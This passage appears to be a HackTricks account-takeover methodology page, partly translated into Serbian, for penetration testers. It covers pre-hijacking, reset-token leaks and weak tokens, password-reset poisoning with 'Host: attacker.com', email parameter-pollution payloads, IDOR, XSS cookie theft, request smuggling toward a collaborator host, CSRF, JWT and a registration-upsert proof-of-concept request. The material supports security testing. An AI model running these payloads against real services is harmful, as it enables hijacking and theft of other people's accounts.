def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- Try racing verification: submit the same valid OTP simultaneously in two sessions; sometimes one session becomes a verified attacker account while the victim flow also succeeds.
- Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host.

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Pre‑Hijacking Techniques (before the victim signs up)

A powerful class of issues occurs when an attacker performs actions on the victim’s email before the victim creates their account, then regains access later.

Key techniques to test (adapt to the target’s flows):

- Classic–Federated Merge
- Napadač: registers a classic account with victim email and sets a password
- Žrtva: later signs up with SSO (same email)
- Insecure merges may leave both parties logged in or resurrect the attacker’s access
- Unexpired Session Identifier
- Napadač: creates account and holds a long‑lived session (don’t log out)
- Žrtva: recovers/sets password and uses the account
- Test if old sessions stay valid after reset or MFA enablement
- Trojan Identifier
- Napadač: adds a secondary identifier to the pre‑created account (phone, additional email, or links attacker’s IdP)
- Žrtva: resets password; attacker later uses the trojan identifier to reset/login
- Unexpired Email Change
- Napadač: initiates email‑change to attacker mail and withholds confirmation
- Žrtva: recovers the account and starts using it
- Napadač: later completes the pending email‑change to steal the account
- Non‑Verifying IdP
- Napadač: uses an IdP that does not verify email ownership to assert `victim@…`
- Žrtva: signs up via classic route
- Service merges on email without checking `email_verified` or performing local verification

Practical tips

- Harvest flows and endpoints from web/mobile bundles. Look for classic signup, SSO linking, email/phone change, and password reset endpoints.
- Create realistic automation to keep sessions alive while you exercise other flows.
- For SSO tests, stand up a test OIDC provider and issue tokens with `email` claims for the victim address and `email_verified=false` to check if the RP trusts unverified IdPs.
- After any password reset or email change, verify that:
- all other sessions and tokens are invalidated,
- pending email/phone change capabilities are cancelled,
- previously linked IdPs/emails/phones are re‑verified.

Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Request password reset to your email address
2. Click on the password reset link
3. Don’t change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR na API parametrima

1. Napadač se mora prijaviti sa svojim nalogom i otići na funkciju Change password.
2. Pokrenite Burp Suite i presretnite zahtev
3. Pošaljite ga u repeater tab i izmenite parametre : User ID/email
   powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Slab token za reset lozinke

Password reset token treba da bude nasumično generisan i jedinstven svaki put.
Pokušajte da utvrdite da li token ističe ili je uvek isti; u nekim slučajevima algoritam generisanja je slab i može se pogoditi. Sledeće varijable mogu biti korišćene od strane algoritma.

• Timestamp
• UserID
• Email of User
• Firstname and Lastname
• Date of Birth
• Cryptography
• Number only
• Small token sequence ( characters between [A-Z,a-z,0-9])
• Token reuse
• Token expiration date

Leaking Password Reset Token

1. Pokrenite zahtev za reset lozinke koristeći API/UI za određeni email npr: test@mail.com
2. Pregledajte odgovor servera i proverite za resetToken
3. Zatim upotrebite token u URL-u kao https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Reset lozinke putem kolizije korisničkog imena

1. Registrujte se na sistemu sa korisničkim imenom identičnim žrtvinom korisničkom imenu, ali sa ubačenim praznim razmacima pre i/ili posle korisničkog imena. npr: "admin "
2. Zatražite reset lozinke koristeći vaše maliciozno korisničko ime.
3. Iskoristite token poslat na vaš email i resetujte žrtvinu lozinku.
4. Prijavite se na žrtvin nalog sa novom lozinkom.

The platform CTFd was vulnerable to this attack.
See: CVE-2020-7245

Preuzimanje naloga putem Cross Site Scripting

1. Pronađite XSS u aplikaciji ili na poddomeni ako su cookies scoped to the parent domain : *.domain.com
2. Leak the current sessions cookie
3. Autentifikujte se kao korisnik koristeći cookie

Preuzimanje naloga putem HTTP Request Smuggling

1. Koristite smuggler da otkrijete tip HTTP Request Smuggling (CL, TE, CL.TE)
   powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
2. Kreirajte zahtev koji će prebrisati POST / HTTP/1.1 sa sledećim podacima:
   GET http://something.burpcollaborator.net HTTP/1.1 X: sa ciljem da otvorite redirect žrtava ka burpcollab i ukradete njihove cookies\
3. Finalni zahtev može izgledati ovako

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone izveštaji o iskorišćavanju ovog buga\

• https://hackerone.com/reports/737140\
• https://hackerone.com/reports/771666

Preuzimanje naloga putem CSRF

1. Napravite payload za CSRF, npr: “HTML form with auto submit for a password change”
2. Pošaljite payload

Preuzimanje naloga putem JWT

JSON Web Token might be used to authenticate an user.

• Izmenite JWT sa drugim User ID / Email
• Proverite slabost JWT potpisa

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

Neki signup handleri izvršavaju upsert kada prosleđeni email već postoji. Ako endpoint prihvata minimalno telo sa email-om i password-om i ne sprovodi verifikaciju vlasništva, slanje email-a žrtve će pre-auth prepisati njihov password.

• Discovery: prikupite imena endpointa iz bundled JS (ili saobraćaja mobilne aplikacije), zatim fuzz-ujte osnovne putanje kao /parents/application/v4/admin/FUZZ koristeći ffuf/dirsearch.
• Naznake metode: GET koji vraća poruke poput “Only POST request is allowed.” često nagoveštava ispravan HTTP metod i da se očekuje JSON telo.
• Minimalno telo viđeno u praksi:

{"email":"victim@example.com","password":"New@12345"}

Primer PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Uticaj: Potpuno preuzimanje naloga (ATO) bez ikakvog reset tokena, OTP-a ili verifikacije e-pošte.

Reference

• How I Found a Critical Password Reset Bug (Registration upsert ATO)
• Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)
• https://salmonsec.com/cheatsheet/account_takeover
• Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

• Proverite planove pretplate!
• Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
• Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.